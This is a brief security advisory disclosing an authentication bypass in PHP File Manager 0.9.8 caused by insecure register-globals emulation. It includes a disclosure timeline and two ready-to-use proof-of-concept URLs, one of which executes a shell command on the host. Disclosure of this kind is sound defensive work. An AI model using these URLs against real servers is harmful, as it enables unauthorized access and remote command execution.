Authentication bypass in PHP File Manager 0.9.8

PHP File Manager 0.9.8 (http://phpfm.sourceforge.net/) is vulnerable
to authentication bypass due to insecure implementation of register
globals emulation. An attacker is able to override the blockKeys array
and thus build a valid session and access all the protected
functionality (including execution of shell commands) without actual
knowledge of the password set.

PoC URLs:

http://host/phpfm.php?blockKeys[]=&fm_self=FOOO&loggedon=d41d8cd98f00b204e9800998ecf8427e&action=5
http://host/phpfm.php?blockKeys[]=&fm_self=FOOO&loggedon=d41d8cd98f00b204e9800998ecf8427e&action=6&cmd=ls%20-la


Timeline:
2016-01-04: Original report to the developer
2016-01-04: CVE ID requested from MITRE
2016-01-11: Report resent to the developer
2016-01-18: Notification sent to the developer about disclosing the
vulnerability on 25th of January
2016-01-18: Disclosure

Imre Rad
Search-Lab Ltd.
http://www.search-lab.hu/
http://www.scademy.com/